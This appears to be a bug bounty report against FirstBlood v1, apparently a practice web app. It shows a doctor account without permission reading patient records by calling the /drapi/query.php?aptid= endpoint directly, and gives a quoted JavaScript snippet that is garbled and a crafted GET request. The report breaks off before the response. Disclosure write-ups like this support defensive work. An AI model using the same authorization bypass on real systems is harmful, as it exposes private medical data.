This issue was discovered on FirstBlood v1

Hi, I found another issue similar to a previous issue i reported which allows an unauthorised doctor to view patients information.

On the doctors dashboard there is a feed showing some activities and when we click on the patients name we get an alert saying we do not have authorization to view the patients information.


We can inspect the source code and note the javascript that perfroms the GET request.

The endpoint being hit when we click on the patients name is revealed on the javascript file on viewing the source code. Note the endpoint /drapi/query.php?aptid

function getinfo(aptID) {
        var xhr = new XMLHttpRequest();"GET", 'drapi/query.php?aptid='+aptID, true);

        xhr.onreadystatechange = function() {
            if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
                } else {



We can use the endpoint to craft a GET request with the cookies belonging to a non admin account

GET /drpanel/drapi/query.php?aptid=56911019 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36

Note: The Cookie above belongs to an account without permissions to view the patients information.

The above GET request returns the following response
